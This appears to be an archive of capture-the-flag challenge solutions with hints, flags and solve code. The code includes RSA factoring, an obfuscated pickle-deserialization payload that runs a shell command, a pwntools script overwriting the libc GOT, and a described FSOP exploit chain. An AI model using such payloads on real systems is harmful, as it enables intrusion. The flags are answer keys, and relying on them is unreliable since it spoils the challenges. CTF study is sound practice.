Archived Challenges - February 2024

Use resultants to find a multiple of p, then gcd to factor n.

PR = PolynomialRing(QQ, "x, y, z")
x, y, z = PR.gens()
f1 = x**e - c1
f2 = y**e - c2
f3 = z**e - c3
f4 = x + y + z
g = ZZ(f1.resultant(f4, x).resultant(f2, y).resultant(f3, z))
p = gcd(g, n)
q = n // p
phi = (p - 1) * (q - 1)
d = inverse_mod(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m)
print(flag)

ictf{https://youtu.be/iLYVqdekt6s}

bytes(list(map(lambda x:x-42,b'\x93\x8d\x9e\x90\xa5\x9a\xa3\x9e\x92\x99\x98\x89\x99\x98\x8f\x89\x96\x93\x98\x8f\x9c\x9d\x89\x8b\x9c\x8f\x89\x99\x9aii\xa7')))

ictf{python_one_liners_are_op??}

Guess the flag.

ictf{mini_round_43!!}

tysm, don't post abt your challenge here because it will be used next round.

ictf{tysm_for_your_help}

cos system (S"Aa;c${Aa}a${Aa}t${Aa}$(w)$(l${Aa}s)" tR)

If you can get a shell, please tell me how.

ictf{pickle_jail_or_bash_jail?}

strings ictf_r41.pdf | grep imaginary

ictf{pls_tell_me_you_didnt_click_every_link}

The JWT secret key is literally <REDACTED>, so you can use https://jwt.io/ to sign an admin key.

ictf{not_so_redacted_after_all}

Overwrite the libc GOT.

from pwn import *
context.log_level = 'debug'

context.binary = elf = ELF("./chal")
libc = ELF("./libc.so.6")

conn = process()

def write(offset, val):
  conn.sendlineafter(b">", str(offset+0x1004000).encode())
  conn.sendlineafter(b">", str(val).encode())

target = elf.sym.win
write(0x219000+168, target)

ictf{got_what_it_takes_to_overwrite?}

There are probably many ways to solve this. I used FSOP leak --> l_addr overwrite --> (relocated) .fini_array overwrite --> one_gadget. https://imaginaryctf.org/f/5TQj7#solve.py

ictf{no_muney_lets_fsop}

The program just has a bunch of checks about the characters of the flag. You can solve for the flag using this information with z3.

ictf{system_of_equations_is_no_problem_with_z3}